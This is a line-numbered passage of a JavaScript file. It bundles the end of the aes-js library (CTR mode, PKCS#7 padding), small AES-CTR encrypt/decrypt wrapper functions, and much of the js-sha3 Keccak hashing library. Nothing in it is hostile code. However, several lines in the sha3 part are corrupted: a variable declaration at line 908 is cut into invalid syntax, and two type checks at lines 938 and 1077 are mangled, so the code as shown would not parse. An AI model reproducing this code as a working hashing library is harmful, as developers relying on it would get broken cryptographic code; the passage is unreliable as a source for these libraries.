  679.         }
  680.  
  681.         Counter.prototype.setValue = function(value) {
  682.             if (typeof(value) !== 'number' || parseInt(value) != value) {
  683.                 throw new Error('invalid counter value (must be an integer)');
  684.             }
  685.  
  686.             // We cannot safely handle numbers beyond the safe range for integers
  687.             if (value > Number.MAX_SAFE_INTEGER) {
  688.                 throw new Error('integer value out of safe range');
  689.             }
  690.  
  691.             for (var index = 15; index >= 0; --index) {
  692.                 this._counter[index] = value % 256;
  693.                 value = parseInt(value / 256);
  694.             }
  695.         }
  696.  
  697.         Counter.prototype.setBytes = function(bytes) {
  698.             bytes = coerceArray(bytes, true);
  699.  
  700.             if (bytes.length != 16) {
  701.                 throw new Error('invalid counter bytes size (must be 16 bytes)');
  702.             }
  703.  
  704.             this._counter = bytes;
  705.         };
  706.  
  707.         Counter.prototype.increment = function() {
  708.             for (var i = 15; i >= 0; i--) {
  709.                 if (this._counter[i] === 255) {
  710.                     this._counter[i] = 0;
  711.                 } else {
  712.                     this._counter[i]++;
  713.                     break;
  714.                 }
  715.             }
  716.         }
  717.  
  718.  
  719.         /**
  720.      *  Mode Of Operation - Counter (CTR)
  721.      */
  722.         var ModeOfOperationCTR = function(key, counter) {
  723.             if (!(this instanceof ModeOfOperationCTR)) {
  724.                 throw Error('AES must be instanitated with `new`');
  725.             }
  726.  
  727.             this.description = "Counter";
  728.             this.name = "ctr";
  729.  
  730.             if (!(counter instanceof Counter)) {
  731.                 counter = new Counter(counter)
  732.             }
  733.  
  734.             this._counter = counter;
  735.  
  736.             this._remainingCounter = null;
  737.             this._remainingCounterIndex = 16;
  738.  
  739.             this._aes = new AES(key);
  740.         }
  741.  
  742.         ModeOfOperationCTR.prototype.encrypt = function(plaintext) {
  743.             var encrypted = coerceArray(plaintext, true);
  744.  
  745.             for (var i = 0; i < encrypted.length; i++) {
  746.                 if (this._remainingCounterIndex === 16) {
  747.                     this._remainingCounter = this._aes.encrypt(this._counter._counter);
  748.                     this._remainingCounterIndex = 0;
  749.                     this._counter.increment();
  750.                 }
  751.                 encrypted[i] ^= this._remainingCounter[this._remainingCounterIndex++];
  752.             }
  753.  
  754.             return encrypted;
  755.         }
  756.  
  757.         // Decryption is symetric
  758.         ModeOfOperationCTR.prototype.decrypt = ModeOfOperationCTR.prototype.encrypt;
  759.  
  760.  
  761.         ///////////////////////
  762.         // Padding
  763.  
  764.         // See:https://tools.ietf.org/html/rfc2315
  765.         function pkcs7pad(data) {
  766.             data = coerceArray(data, true);
  767.             var padder = 16 - (data.length % 16);
  768.             var result = createArray(data.length + padder);
  769.             copyArray(data, result);
  770.             for (var i = data.length; i < result.length; i++) {
  771.                 result[i] = padder;
  772.             }
  773.             return result;
  774.         }
  775.  
  776.         function pkcs7strip(data) {
  777.             data = coerceArray(data, true);
  778.             if (data.length < 16) { throw new Error('PKCS#7 invalid length'); }
  779.  
  780.             var padder = data[data.length - 1];
  781.             if (padder > 16) { throw new Error('PKCS#7 padding byte out of range'); }
  782.  
  783.             var length = data.length - padder;
  784.             for (var i = 0; i < padder; i++) {
  785.                 if (data[length + i] !== padder) {
  786.                     throw new Error('PKCS#7 invalid padding byte');
  787.                 }
  788.             }
  789.  
  790.             var result = createArray(length);
  791.             copyArray(data, result, 0, 0, length);
  792.             return result;
  793.         }
  794.  
  795.         ///////////////////////
  796.         // Exporting
  797.  
  798.  
  799.         // The block cipher
  800.         var aesjs = {
  801.             AES: AES,
  802.             Counter: Counter,
  803.  
  804.             ModeOfOperation: {
  805.                 ecb: ModeOfOperationECB,
  806.                 cbc: ModeOfOperationCBC,
  807.                 cfb: ModeOfOperationCFB,
  808.                 ofb: ModeOfOperationOFB,
  809.                 ctr: ModeOfOperationCTR
  810.             },
  811.  
  812.             utils: {
  813.                 hex: convertHex,
  814.                 utf8: convertUtf8
  815.             },
  816.  
  817.             padding: {
  818.                 pkcs7: {
  819.                     pad: pkcs7pad,
  820.                     strip: pkcs7strip
  821.                 }
  822.             },
  823.  
  824.             _arrayTest: {
  825.                 coerceArray: coerceArray,
  826.                 createArray: createArray,
  827.                 copyArray: copyArray,
  828.             }
  829.         };
  830.  
  831.  
  832.         // node.js
  833.         if (typeof exports !== 'undefined') {
  834.             module.exports = aesjs
  835.  
  836.             // RequireJS/AMD
  837.             // http://www.requirejs.org/docs/api.html
  838.             // https://github.com/amdjs/amdjs-api/wiki/AMD
  839.         } else if (typeof(define) === 'function' && define.amd) {
  840.             define([], function() { return aesjs; });
  841.  
  842.             // Web Browsers
  843.         } else {
  844.  
  845.             // If there was an existing library at "aesjs" make sure it's still available
  846.             if (root.aesjs) {
  847.                 aesjs._aesjs = root.aesjs;
  848.             }
  849.  
  850.             root.aesjs = aesjs;
  851.         }
  852.     })(this);
  853.     //end aes-js
  854.  
  855.     function AESEncrypt(t,e,s){
  856.         var r=aesjs.utils.utf8.toBytes(t),
  857.             n=aesjs.utils.utf8.toBytes(e),
  858.             u=new aesjs.ModeOfOperation.ctr(n,new aesjs.Counter(s)).encrypt(r);
  859.         return aesjs.utils.hex.fromBytes(u)};
  860.     function AESDecrypt(t,e,s){
  861.         var r=aesjs.utils.hex.toBytes(t),
  862.             n=aesjs.utils.utf8.toBytes(e),
  863.             u=new aesjs.ModeOfOperation.ctr(n,new aesjs.Counter(s)).decrypt(r);
  864.         return aesjs.utils.utf8.fromBytes(u)};
  865.     function AESEncrypt2(plaintext, key, CTR_) {
  866.         var encoded = aesjs.utils.utf8.toBytes(plaintext)
  867.         var enckey = key; //NO ENCODING
  868.         var counter_ = CTR_;
  869.         var aesCtr = new aesjs.ModeOfOperation.ctr(enckey, new aesjs.Counter(CTR_));
  870.         var encryptedBytes = aesCtr.encrypt(encoded);
  871.         return aesjs.utils.hex.fromBytes(encryptedBytes);
  872.     };
  873.     function AESDecrypt2(ciphertext, key, CTR_) {
  874.         var decoded = aesjs.utils.hex.toBytes(ciphertext)
  875.         var enckey = key; //NO ENCODING
  876.         var aesCtr = new aesjs.ModeOfOperation.ctr(enckey, new aesjs.Counter(CTR_));
  877.         var decryptedBytes = aesCtr.decrypt(decoded);
  878.         var decoded2 = aesjs.utils.utf8.fromBytes(decryptedBytes);
  879.         return decoded2;
  880.     };//wrapper functions
  881.  
  882.     /**
  883.  * [js-sha3]{@link https://github.com/emn178/js-sha3}
  884.  *
  885.  * @version 0.8.0
  886.  * @author Chen, Yi-Cyuan [[email protected]]
  887.  * @copyright Chen, Yi-Cyuan 2015-2018
  888.  * @license MIT
  889.  */
  890.     /*jslint bitwise: true */
  891.     (function () {
  892.         'use strict';
  893.  
  894.         var INPUT_ERROR = 'input is invalid type';
  895.         var FINALIZE_ERROR = 'finalize already called';
  896.         var WINDOW = typeof window === 'object';
  897.         var root = WINDOW ? window : {};
  898.         if (root.JS_SHA3_NO_WINDOW) {
  899.             WINDOW = false;
  900.         }
  901.         var WEB_WORKER = !WINDOW && typeof self === 'object';
  902.         var NODE_JS = !root.JS_SHA3_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;
  903.         if (NODE_JS) {
  904.             root = global;
  905.         } else if (WEB_WORKER) {
  906.             root = self;
  907.         }
  908.          var COMM && typeof module === 'object' && module.exports;
  909.         var AMD = typeof define === 'function' && define.amd;
  910.         var ARRAY_BUFFER = !root.JS_SHA3_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined';
  911.         var HEX_CHARS = '0123456789abcdef'.split('');
  912.         var SHAKE_PADDING = [31, 7936, 2031616, 520093696];
  913.         var CSHAKE_PADDING = [4, 1024, 262144, 67108864];
  914.         var KECCAK_PADDING = [1, 256, 65536, 16777216];
  915.         var PADDING = [6, 1536, 393216, 100663296];
  916.         var SHIFT = [0, 8, 16, 24];
  917.         var RC = [1, 0, 32898, 0, 32906, 2147483648, 2147516416, 2147483648, 32907, 0, 2147483649,
  918.                   0, 2147516545, 2147483648, 32777, 2147483648, 138, 0, 136, 0, 2147516425, 0,
  919.                   2147483658, 0, 2147516555, 0, 139, 2147483648, 32905, 2147483648, 32771,
  920.                   2147483648, 32770, 2147483648, 128, 2147483648, 32778, 0, 2147483658, 2147483648,
  921.                   2147516545, 2147483648, 32896, 2147483648, 2147483649, 0, 2147516424, 2147483648];
  922.         var BITS = [224, 256, 384, 512];
  923.         var SHAKE_BITS = [128, 256];
  924.         var OUTPUT_TYPES = ['hex', 'buffer', 'arrayBuffer', 'array', 'digest'];
  925.         var CSHAKE_BYTEPAD = {
  926.             '128': 168,
  927.             '256': 136
  928.         };
  929.  
  930.         if (root.JS_SHA3_NO_NODE_JS || !Array.isArray) {
  931.             Array.isArray = function (obj) {
  932.                 return Object.prototype.toString.call(obj) === '[object Array]';
  933.             };
  934.         }
  935.  
  936.         if (ARRAY_BUFFER && (root.JS_SHA3_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {
  937.             ArrayBuffer.isView = function (obj) {
  938.                  return typeof obj === 'object' && obj.buffer && obj.buffer.c ArrayBuffer;
  939.             };
  940.         }
  941.  
  942.         var createOutputMethod = function (bits, padding, outputType) {
  943.             return function (message) {
  944.                 return new Keccak(bits, padding, bits).update(message)[outputType]();
  945.             };
  946.         };
  947.  
  948.         var createShakeOutputMethod = function (bits, padding, outputType) {
  949.             return function (message, outputBits) {
  950.                 return new Keccak(bits, padding, outputBits).update(message)[outputType]();
  951.             };
  952.         };
  953.  
  954.         var createCshakeOutputMethod = function (bits, padding, outputType) {
  955.             return function (message, outputBits, n, s) {
  956.                 return methods['cshake' + bits].update(message, outputBits, n, s)[outputType]();
  957.             };
  958.         };
  959.  
  960.         var createKmacOutputMethod = function (bits, padding, outputType) {
  961.             return function (key, message, outputBits, s) {
  962.                 return methods['kmac' + bits].update(key, message, outputBits, s)[outputType]();
  963.             };
  964.         };
  965.  
  966.         var createOutputMethods = function (method, createMethod, bits, padding) {
  967.             for (var i = 0; i < OUTPUT_TYPES.length; ++i) {
  968.                 var type = OUTPUT_TYPES[i];
  969.                 method[type] = createMethod(bits, padding, type);
  970.             }
  971.             return method;
  972.         };
  973.  
  974.         var createMethod = function (bits, padding) {
  975.             var method = createOutputMethod(bits, padding, 'hex');
  976.             method.create = function () {
  977.                 return new Keccak(bits, padding, bits);
  978.             };
  979.             method.update = function (message) {
  980.                 return method.create().update(message);
  981.             };
  982.             return createOutputMethods(method, createOutputMethod, bits, padding);
  983.         };
  984.  
  985.         var createShakeMethod = function (bits, padding) {
  986.             var method = createShakeOutputMethod(bits, padding, 'hex');
  987.             method.create = function (outputBits) {
  988.                 return new Keccak(bits, padding, outputBits);
  989.             };
  990.             method.update = function (message, outputBits) {
  991.                 return method.create(outputBits).update(message);
  992.             };
  993.             return createOutputMethods(method, createShakeOutputMethod, bits, padding);
  994.         };
  995.  
  996.         var createCshakeMethod = function (bits, padding) {
  997.             var w = CSHAKE_BYTEPAD[bits];
  998.             var method = createCshakeOutputMethod(bits, padding, 'hex');
  999.             method.create = function (outputBits, n, s) {
  1000.                 if (!n && !s) {
  1001.                     return methods['shake' + bits].create(outputBits);
  1002.                 } else {
  1003.                     return new Keccak(bits, padding, outputBits).bytepad([n, s], w);
  1004.                 }
  1005.             };
  1006.             method.update = function (message, outputBits, n, s) {
  1007.                 return method.create(outputBits, n, s).update(message);
  1008.             };
  1009.             return createOutputMethods(method, createCshakeOutputMethod, bits, padding);
  1010.         };
  1011.  
  1012.         var createKmacMethod = function (bits, padding) {
  1013.             var w = CSHAKE_BYTEPAD[bits];
  1014.             var method = createKmacOutputMethod(bits, padding, 'hex');
  1015.             method.create = function (key, outputBits, s) {
  1016.                 return new Kmac(bits, padding, outputBits).bytepad(['KMAC', s], w).bytepad([key], w);
  1017.             };
  1018.             method.update = function (key, message, outputBits, s) {
  1019.                 return method.create(key, outputBits, s).update(message);
  1020.             };
  1021.             return createOutputMethods(method, createKmacOutputMethod, bits, padding);
  1022.         };
  1023.  
  1024.         var algorithms = [
  1025.             { name: 'keccak', padding: KECCAK_PADDING, bits: BITS, createMethod: createMethod },
  1026.             { name: 'sha3', padding: PADDING, bits: BITS, createMethod: createMethod },
  1027.             { name: 'shake', padding: SHAKE_PADDING, bits: SHAKE_BITS, createMethod: createShakeMethod },
  1028.             { name: 'cshake', padding: CSHAKE_PADDING, bits: SHAKE_BITS, createMethod: createCshakeMethod },
  1029.             { name: 'kmac', padding: CSHAKE_PADDING, bits: SHAKE_BITS, createMethod: createKmacMethod }
  1030.         ];
  1031.  
  1032.         var methods = {}, methodNames = [];
  1033.  
  1034.         for (var i = 0; i < algorithms.length; ++i) {
  1035.             var algorithm = algorithms[i];
  1036.             var bits = algorithm.bits;
  1037.             for (var j = 0; j < bits.length; ++j) {
  1038.                 var methodName = algorithm.name + '_' + bits[j];
  1039.                 methodNames.push(methodName);
  1040.                 methods[methodName] = algorithm.createMethod(bits[j], algorithm.padding);
  1041.                 if (algorithm.name !== 'sha3') {
  1042.                     var newMethodName = algorithm.name + bits[j];
  1043.                     methodNames.push(newMethodName);
  1044.                     methods[newMethodName] = methods[methodName];
  1045.                 }
  1046.             }
  1047.         }
  1048.  
  1049.         function Keccak(bits, padding, outputBits) {
  1050.             this.blocks = [];
  1051.             this.s = [];
  1052.             this.padding = padding;
  1053.             this.outputBits = outputBits;
  1054.             this.reset = true;
  1055.             this.finalized = false;
  1056.             this.block = 0;
  1057.             this.start = 0;
  1058.             this.blockCount = (1600 - (bits << 1)) >> 5;
  1059.             this.byteCount = this.blockCount << 2;
  1060.             this.outputBlocks = outputBits >> 5;
  1061.             this.extraBytes = (outputBits & 31) >> 3;
  1062.  
  1063.             for (var i = 0; i < 50; ++i) {
  1064.                 this.s[i] = 0;
  1065.             }
  1066.         }
  1067.  
  1068.         Keccak.prototype.update = function (message) {
  1069.             if (this.finalized) {
  1070.                 throw new Error(FINALIZE_ERROR);
  1071.             }
  1072.             var notString, type = typeof message;
  1073.             if (type !== 'string') {
  1074.                 if (type === 'object') {
  1075.                     if (message === null) {
  1076.                         throw new Error(INPUT_ERROR);
  1077.                      } else if (ARRAY_BUFFER && message.c ArrayBuffer) {
  1078.                         message = new Uint8Array(message);
  1079.                     } else if (!Array.isArray(message)) {
  1080.                         if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {
  1081.                             throw new Error(INPUT_ERROR);
  1082.                         }
  1083.                     }
  1084.                 } else {
  1085.                     throw new Error(INPUT_ERROR);
  1086.                 }
  1087.                 notString = true;
  1088.             }
  1089.             var blocks = this.blocks, byteCount = this.byteCount, length = message.length,
  1090.                 blockCount = this.blockCount, index = 0, s = this.s, i, code;
  1091.  
  1092.             while (index < length) {
  1093.                 if (this.reset) {
  1094.                     this.reset = false;
  1095.                     blocks[0] = this.block;
  1096.                     for (i = 1; i < blockCount + 1; ++i) {
  1097.                         blocks[i] = 0;
  1098.                     }
  1099.                 }
  1100.                 if (notString) {
  1101.                     for (i = this.start; index < length && i < byteCount; ++index) {
  1102.                         blocks[i >> 2] |= message[index] << SHIFT[i++ & 3];
  1103.                     }
  1104.                 } else {
  1105.                     for (i = this.start; index < length && i < byteCount; ++index) {
  1106.                         code = message.charCodeAt(index);
  1107.                         if (code < 0x80) {
  1108.                             blocks[i >> 2] |= code << SHIFT[i++ & 3];
  1109.                         } else if (code < 0x800) {
  1110.                             blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3];
  1111.                             blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3];
  1112.                         } else if (code < 0xd800 || code >= 0xe000) {
  1113.                             blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3];
  1114.                             blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
  1115.                             blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3];
  1116.                         } else {
  1117.                             code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff));
  1118.                             blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3];
  1119.                             blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3];
  1120.                             blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
  1121.                             blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3];
  1122.                         }
  1123.                     }
  1124.                 }
  1125.                 this.lastByteIndex = i;
  1126.                 if (i >= byteCount) {
  1127.                     this.start = i - byteCount;
  1128.                     this.block = blocks[blockCount];
  1129.                     for (i = 0; i < blockCount; ++i) {
  1130.                         s[i] ^= blocks[i];
  1131.                     }
  1132.                     f(s);
  1133.                     this.reset = true;
  1134.                 } else {
  1135.                     this.start = i;
  1136.                 }
  1137.             }
  1138.             return this;
  1139.         };
  1140.  
  1141.         Keccak.prototype.encode = function (x, right) {
  1142.             var o = x & 255, n = 1;
  1143.             var bytes = [o];
  1144.             x = x >> 8;
  1145.             o = x & 255;
  1146.             while (o > 0) {
  1147.                 bytes.unshift(o);
  1148.                 x = x >> 8;
  1149.                 o = x & 255;
  1150.                 ++n;
  1151.             }
  1152.             if (right) {
  1153.                 bytes.push(n);
  1154.             } else {
  1155.                 bytes.unshift(n);
  1156.             }
  1157.             this.update(bytes);
  1158.             return bytes.length;
  1159.         };
  1160.  
  1161.         Keccak.prototype.encodeString = function (str) {
  1162.             var notString, type = typeof str;
  1163.             if (type !== 'string') {
  1164.                 if (type === 'object') {
  1165.                     if (str === null) {
  1166.                         throw new Error(INPUT_ERROR);
  1167.                     } else if (ARRAY_BUFFER && str.constructor === ArrayBuffer) {
  1168.                         str = new Uint8Array(str);
  1169.                     } else if (!Array.isArray(str)) {
  1170.                         if (!ARRAY_BUFFER || !ArrayBuffer.isView(str)) {
  1171.                             throw new Error(INPUT_ERROR);
  1172.                         }
  1173.                     }
  1174.                 } else {
  1175.                     throw new Error(INPUT_ERROR);
  1176.                 }
  1177.                 notString = true;
  1178.             }
  1179.             var bytes = 0, length = str.length;
  1180.             if (notString) {
  1181.                 bytes = length;
  1182.             } else {
  1183.                 for (var i = 0; i < str.length; ++i) {
  1184.                     var code = str.charCodeAt(i);
  1185.                     if (code < 0x80) {
  1186.                         bytes += 1;
  1187.                     } else if (code < 0x800) {
  1188.                         bytes += 2;
  1189.                     } else if (code < 0xd800 || code >= 0xe000) {
  1190.                         bytes += 3;
  1191.                     } else {
  1192.                         code = 0x10000 + (((code & 0x3ff) << 10) | (str.charCodeAt(++i) & 0x3ff));
  1193.                         bytes += 4;
  1194.                     }
  1195.                 }
  1196.             }
  1197.             bytes += this.encode(bytes * 8);
  1198.             this.update(str);
  1199.             return bytes;
  1200.         };
  1201.  
  1202.         Keccak.prototype.bytepad = function (strs, w) {
  1203.             var bytes = this.encode(w);
  1204.             for (var i = 0; i < strs.length; ++i) {
  1205.                 bytes += this.encodeString(strs[i]);
  1206.             }
  1207.             var paddingBytes = w - bytes % w;
  1208.             var zeros = [];
  1209.             zeros.length = paddingBytes;
  1210.             this.update(zeros);
  1211.             return this;
  1212.         };
  1213.  
  1214.         Keccak.prototype.finalize = function () {
  1215.             if (this.finalized) {
  1216.                 return;
  1217.             }
  1218.             this.finalized = true;
  1219.             var blocks = this.blocks, i = this.lastByteIndex, blockCount = this.blockCount, s = this.s;
  1220.             blocks[i >> 2] |= this.padding[i & 3];
  1221.             if (this.lastByteIndex === this.byteCount) {
  1222.                 blocks[0] = blocks[blockCount];
  1223.                 for (i = 1; i < blockCount + 1; ++i) {
  1224.                     blocks[i] = 0;
  1225.                 }
  1226.             }
  1227.             blocks[blockCount - 1] |= 0x80000000;
  1228.             for (i = 0; i < blockCount; ++i) {
  1229.                 s[i] ^= blocks[i];
  1230.             }
  1231.             f(s);
  1232.         };
  1233.  
  1234.         Keccak.prototype.toString = Keccak.prototype.hex = function () {
  1235.             this.finalize();
  1236.  
  1237.             var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks,
  1238.                 extraBytes = this.extraBytes, i = 0, j = 0;
  1239.             var hex = '', block;
  1240.             while (j < outputBlocks) {
  1241.                 for (i = 0; i < blockCount && j < outputBlocks; ++i, ++j) {
  1242.                     block = s[i];
  1243.                     hex += HEX_CHARS[(block >> 4) & 0x0F] + HEX_CHARS[block & 0x0F] +
  1244.                         HEX_CHARS[(block >> 12) & 0x0F] + HEX_CHARS[(block >> 8) & 0x0F] +
  1245.                         HEX_CHARS[(block >> 20) & 0x0F] + HEX_CHARS[(block >> 16) & 0x0F] +
  1246.                         HEX_CHARS[(block >> 28) & 0x0F] + HEX_CHARS[(block >> 24) & 0x0F];
  1247.                 }
  1248.                 if (j % blockCount === 0) {
  1249.                     f(s);
  1250.                     i = 0;
  1251.                 }
  1252.             }
  1253.             if (extraBytes) {
  1254.                 block = s[i];
  1255.                 hex += HEX_CHARS[(block >> 4) & 0x0F] + HEX_CHARS[block & 0x0F];
  1256.                 if (extraBytes > 1) {
  1257.                     hex += HEX_CHARS[(block >> 12) & 0x0F] + HEX_CHARS[(block >> 8) & 0x0F];
  1258.                 }
  1259.                 if (extraBytes > 2) {
  1260.                     hex += HEX_CHARS[(block >> 20) & 0x0F] + HEX_CHARS[(block >> 16) & 0x0F];
  1261.                 }
  1262.             }
  1263.             return hex;
  1264.         };
  1265.  
  1266.         Keccak.prototype.arrayBuffer = function () {
  1267.             this.finalize();
  1268.  
  1269.             var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks,
  1270.                 extraBytes = this.extraBytes, i = 0, j = 0;
  1271.             var bytes = this.outputBits >> 3;
  1272.             var buffer;
  1273.             if (extraBytes) {
  1274.                 buffer = new ArrayBuffer((outputBlocks + 1) << 2);
  1275.             } else {
  1276.                 buffer = new ArrayBuffer(bytes);
  1277.             }
  1278.             var array = new Uint32Array(buffer);
  1279.             while (j < outputBlocks) {
  1280.                 for (i = 0; i < blockCount && j < outputBlocks; ++i, ++j) {
  1281.                     array[j] = s[i];
  1282.                 }
  1283.                 if (j % blockCount === 0) {
  1284.                     f(s);
  1285.                 }
  1286.             }
  1287.             if (extraBytes) {
  1288.                 array[i] = s[i];
  1289.                 buffer = buffer.slice(0, bytes);
  1290.             }
  1291.             return buffer;
  1292.         };
  1293.  
  1294.         Keccak.prototype.buffer = Keccak.prototype.arrayBuffer;
  1295.  
  1296.         Keccak.prototype.digest = Keccak.prototype.array = function () {
  1297.             this.finalize();
  1298.  
  1299.             var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks,
  1300.                 extraBytes = this.extraBytes, i = 0, j = 0;
  1301.             var array = [], offset, block;
  1302.             while (j < outputBlocks) {
  1303.                 for (i = 0; i < blockCount && j < outputBlocks; ++i, ++j) {
  1304.                     offset = j << 2;
  1305.                     block = s[i];
  1306.                     array[offset] = block & 0xFF;
  1307.                     array[offset + 1] = (block >> 8) & 0xFF;
  1308.                     array[offset + 2] = (block >> 16) & 0xFF;
  1309.                     array[offset + 3] = (block >> 24) & 0xFF;
  1310.                 }
  1311.                 if (j % blockCount === 0) {
  1312.                     f(s);
  1313.                 }
  1314.             }
  1315.             if (extraBytes) {
  1316.                 offset = j << 2;
  1317.                 block = s[i];
  1318.                 array[offset] = block & 0xFF;
  1319.                 if (extraBytes > 1) {
  1320.                     array[offset + 1] = (block >> 8) & 0xFF;
  1321.                 }
  1322.                 if (extraBytes > 2) {
  1323.                     array[offset + 2] = (block >> 16) & 0xFF;
  1324.                 }
  1325.             }
  1326.             return array;
  1327.         };
  1328.  
  1329.         function Kmac(bits, padding, outputBits) {
  1330.             Keccak.call(this, bits, padding, outputBits);
  1331.         }
  1332.  
  1333.         Kmac.prototype = new Keccak();
  1334.  
  1335.         Kmac.prototype.finalize = function () {
  1336.             this.encode(this.outputBits, true);
  1337.             return Keccak.prototype.finalize.call(this);
  1338.         };
  1339.  
  1340.         var f = function (s) {
  1341.             var h, l, n, c0, c1, c2, c3, c4, c5, c6, c7, c8, c9,
  1342.                 b0, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17,
  1343.                 b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33,
  1344.                 b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49;
  1345.             for (n = 0; n < 48; n += 2) {
  1346.                 c0 = s[0] ^ s[10] ^ s[20] ^ s[30] ^ s[40];
  1347.                 c1 = s[1] ^ s[11] ^ s[21] ^ s[31] ^ s[41];
  1348.                 c2 = s[2] ^ s[12] ^ s[22] ^ s[32] ^ s[42];
  1349.                 c3 = s[3] ^ s[13] ^ s[23] ^ s[33] ^ s[43];
  1350.                 c4 = s[4] ^ s[14] ^ s[24] ^ s[34] ^ s[44];
  1351.                 c5 = s[5] ^ s[15] ^ s[25] ^ s[35] ^ s[45];
  1352.                 c6 = s[6] ^ s[16] ^ s[26] ^ s[36] ^ s[46];
  1353.                 c7 = s[7] ^ s[17] ^ s[27] ^ s[37] ^ s[47];
  1354.                 c8 = s[8] ^ s[18] ^ s[28] ^ s[38] ^ s[48];
  1355.                 c9 = s[9] ^ s[19] ^ s[29] ^ s[39] ^ s[49];
  1356.  
  1357.                 h = c8 ^ ((c2 << 1) | (c3 >>> 31));
  1358.                 l = c9 ^ ((c3 << 1) | (c2 >>> 31));
  1359.                 s[0] ^= h;
  1360.                 s[1] ^= l;
  1361.                 s[10] ^= h;
  1362.                 s[11] ^= l;
  1363.                 s[20] ^= h;
  1364.                 s[21] ^= l;
  1365.                 s[30] ^= h;
  1366.                 s[31] ^= l;
  1367.                 s[40] ^= h;
  1368.                 s[41] ^= l;
  1369.                 h = c0 ^ ((c4 << 1) | (c5 >>> 31));
  1370.                 l = c1 ^ ((c5 << 1) | (c4 >>> 31));
  1371.                 s[2] ^= h;
  1372.                 s[3] ^= l;
  1373.                 s[12] ^= h;
  1374.                 s[13] ^= l;
  1375.                 s[22] ^= h;
  1376.                 s[23] ^= l;
  1377.                 s[32] ^= h;
  1378.                 s[33] ^= l;
  1379.                 s[42] ^= h;
  1380.                 s[43] ^= l;
  1381.                 h = c2 ^ ((c6 << 1) | (c7 >>> 31));
  1382.                 l = c3 ^ ((c7 << 1) | (c6 >>> 31));
  1383.                 s[4] ^= h;
  1384.                 s[5] ^= l;
  1385.                 s[14] ^= h;
  1386.                 s[15] ^= l;
  1387.                 s[24] ^= h;
  1388.                 s[25] ^= l;
  1389.                 s[34] ^= h;
  1390.                 s[35] ^= l;
  1391.                 s[44] ^= h;
  1392.                 s[45] ^= l;
  1393.                 h = c4 ^ ((c8 << 1) | (c9 >>> 31));
  1394.                 l = c5 ^ ((c9 << 1) | (c8 >>> 31));
  1395.                 s[6] ^= h;
  1396.                 s[7] ^= l;
  1397.                 s[16] ^= h;
  1398.                 s[17] ^= l;
  1399.                 s[26] ^= h;
  1400.                 s[27] ^= l;
  1401.                 s[36] ^= h;
  1402.                 s[37] ^= l;
  1403.                 s[46] ^= h;
  1404.                 s[47] ^= l;
  1405.                 h = c6 ^ ((c0 << 1) | (c1 >>> 31));
  1406.                 l = c7 ^ ((c1 << 1) | (c0 >>> 31));
  1407.                 s[8] ^= h;
  1408.                 s[9] ^= l;
  1409.                 s[18] ^= h;
  1410.                 s[19] ^= l;
  1411.                 s[28] ^= h;
  1412.                 s[29] ^= l;
  1413.                 s[38] ^= h;
  1414.                 s[39] ^= l;
  1415.                 s[48] ^= h;
  1416.                 s[49] ^= l;
  1417.  
  1418.                 b0 = s[0];
  1419.                 b1 = s[1];
  1420.                 b32 = (s[11] << 4) | (s[10] >>> 28);
  1421.                 b33 = (s[10] << 4) | (s[11] >>> 28);
  1422.                 b14 = (s[20] << 3) | (s[21] >>> 29);
  1423.                 b15 = (s[21] << 3) | (s[20] >>> 29);
  1424.                 b46 = (s[31] << 9) | (s[30] >>> 23);
  1425.                 b47 = (s[30] << 9) | (s[31] >>> 23);
  1426.                 b28 = (s[40] << 18) | (s[41] >>> 14);
  1427.                 b29 = (s[41] << 18) | (s[40] >>> 14);
  1428.                 b20 = (s[2] << 1) | (s[3] >>> 31);
  1429.                 b21 = (s[3] << 1) | (s[2] >>> 31);
  1430.                 b2 = (s[13] << 12) | (s[12] >>> 20);
  1431.                 b3 = (s[12] << 12) | (s[13] >>> 20);
  1432.                 b34 = (s[22] << 10) | (s[23] >>> 22);
  1433.                 b35 = (s[23] << 10) | (s[22] >>> 22);
  1434.                 b16 = (s[33] << 13) | (s[32] >>> 19);
  1435.                 b17 = (s[32] << 13) | (s[33] >>> 19);
  1436.                 b48 = (s[42] << 2) | (s[43] >>> 30);
  1437.                 b49 = (s[43] << 2) | (s[42] >>> 30);
  1438.                 b40 = (s[5] << 30) | (s[4] >>> 2);
  1439.                 b41 = (s[4] << 30) | (s[5] >>> 2);
  1440.                 b22 = (s[14] << 6) | (s[15] >>> 26);
  1441.                 b23 = (s[15] << 6) | (s[14] >>> 26);
  1442.                 b4 = (s[25] << 11) | (s[24] >>> 21);
  1443.                 b5 = (s[24] << 11) | (s[25] >>> 21);
  1444.                 b36 = (s[34] << 15) | (s[35] >>> 17);
  1445.                 b37 = (s[35] << 15) | (s[34] >>> 17);
  1446.                 b18 = (s[45] << 29) | (s[44] >>> 3);
  1447.                 b19 = (s[44] << 29) | (s[45] >>> 3);
  1448.                 b10 = (s[6] << 28) | (s[7] >>> 4);
  1449.                 b11 = (s[7] << 28) | (s[6] >>> 4);
  1450.                 b42 = (s[17] << 23) | (s[16] >>> 9);
  1451.                 b43 = (s[16] << 23) | (s[17] >>> 9);
  1452.                 b24 = (s[26] << 25) | (s[27] >>> 7);
  1453.                 b25 = (s[27] << 25) | (s[26] >>> 7);
